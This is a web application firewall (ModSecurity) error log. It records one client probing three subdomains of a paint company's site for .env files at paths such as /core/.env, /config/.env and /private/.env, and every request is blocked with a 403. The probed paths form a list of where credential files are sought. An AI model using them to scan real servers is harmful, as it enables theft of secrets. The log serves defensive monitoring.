[Sun Oct 25 02:19:01.062748 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVVyqe9jgJ5nfJHB7YwAAAAo"]
[Sun Oct 25 02:19:01.154222 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVFTnwNJm6o1fQZIhWgAAAAI"]
[Sun Oct 25 02:19:01.154470 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVFTnwNJm6o1fQZIhWgAAAAI"]
[Sun Oct 25 02:19:01.154890 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at2fVFTnwNJm6o1fQZIhWgAAAAI"]
[Sun Oct 25 02:19:01.233052 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVHqPPT_6tJCMTRvuDAAAAAs"]
[Sun Oct 25 02:19:01.233337 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVHqPPT_6tJCMTRvuDAAAAAs"]
[Sun Oct 25 02:19:01.233763 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVHqPPT_6tJCMTRvuDAAAAAs"]
[Sun Oct 25 02:19:01.439484 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVVTnwNJm6o1fQZIhWwAAAAI"]
[Sun Oct 25 02:19:01.439740 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVVTnwNJm6o1fQZIhWwAAAAI"]
[Sun Oct 25 02:19:01.440013 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVVTnwNJm6o1fQZIhWwAAAAI"]
[Sun Oct 25 02:19:01.888133 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVVTnwNJm6o1fQZIhXAAAAAI"]
[Sun Oct 25 02:19:01.888371 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVVTnwNJm6o1fQZIhXAAAAAI"]
[Sun Oct 25 02:19:01.972984 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVVTnwNJm6o1fQZIhXAAAAAI"]
[Sun Oct 25 02:19:01.900104 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVVyqe9jgJ5nfJHB7ZAAAAAo"]
[Sun Oct 25 02:19:01.991585 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVVyqe9jgJ5nfJHB7ZAAAAAo"]
[Sun Oct 25 02:19:01.992037 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at2fVVyqe9jgJ5nfJHB7ZAAAAAo"]
[Sun Oct 25 02:19:01.900493 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVXqPPT_6tJCMTRvuDQAAAAs"]
[Sun Oct 25 02:19:01.992290 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVXqPPT_6tJCMTRvuDQAAAAs"]
[Sun Oct 25 02:19:01.992560 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVXqPPT_6tJCMTRvuDQAAAAs"]
[Sun Oct 25 02:19:02.278281 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuDgAAAAs"]
[Sun Oct 25 02:19:02.278611 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuDgAAAAs"]
[Sun Oct 25 02:19:02.279013 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuDgAAAAs"]
[Sun Oct 25 02:19:02.532070 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuDwAAAAs"]
[Sun Oct 25 02:19:02.532326 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuDwAAAAs"]
[Sun Oct 25 02:19:02.532730 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuDwAAAAs"]
[Sun Oct 25 02:19:02.642755 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVlyqe9jgJ5nfJHB7ZQAAAAo"]
[Sun Oct 25 02:19:02.642924 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVlyqe9jgJ5nfJHB7ZQAAAAo"]
[Sun Oct 25 02:19:02.643227 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at2fVlyqe9jgJ5nfJHB7ZQAAAAo"]
[Sun Oct 25 02:19:02.712663 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVlTnwNJm6o1fQZIhXQAAAAI"]
[Sun Oct 25 02:19:02.712919 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVlTnwNJm6o1fQZIhXQAAAAI"]
[Sun Oct 25 02:19:02.713221 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVlTnwNJm6o1fQZIhXQAAAAI"]
[Sun Oct 25 02:19:02.786583 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuEAAAAAs"]
[Sun Oct 25 02:19:02.786845 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at2fVnqPPT_6tJCMTRvuEAAAAAs"]
[Sun Oct 25 02:19:02.876644 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVlyqe9jgJ5nfJHB7ZgAAAAo"]
[Sun Oct 25 02:19:02.876882 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVlyqe9jgJ5nfJHB7ZgAAAAo"]
[Sun Oct 25 02:19:02.877159 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at2fVlyqe9jgJ5nfJHB7ZgAAAAo"]
[Sun Oct 25 02:19:02.946612 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fVlTnwNJm6o1fQZIhXgAAAAI"]
[Sun Oct 25 02:19:02.946874 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fVlTnwNJm6o1fQZIhXgAAAAI"]
[Sun Oct 25 02:19:02.947139 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at2fVlTnwNJm6o1fQZIhXgAAAAI"]
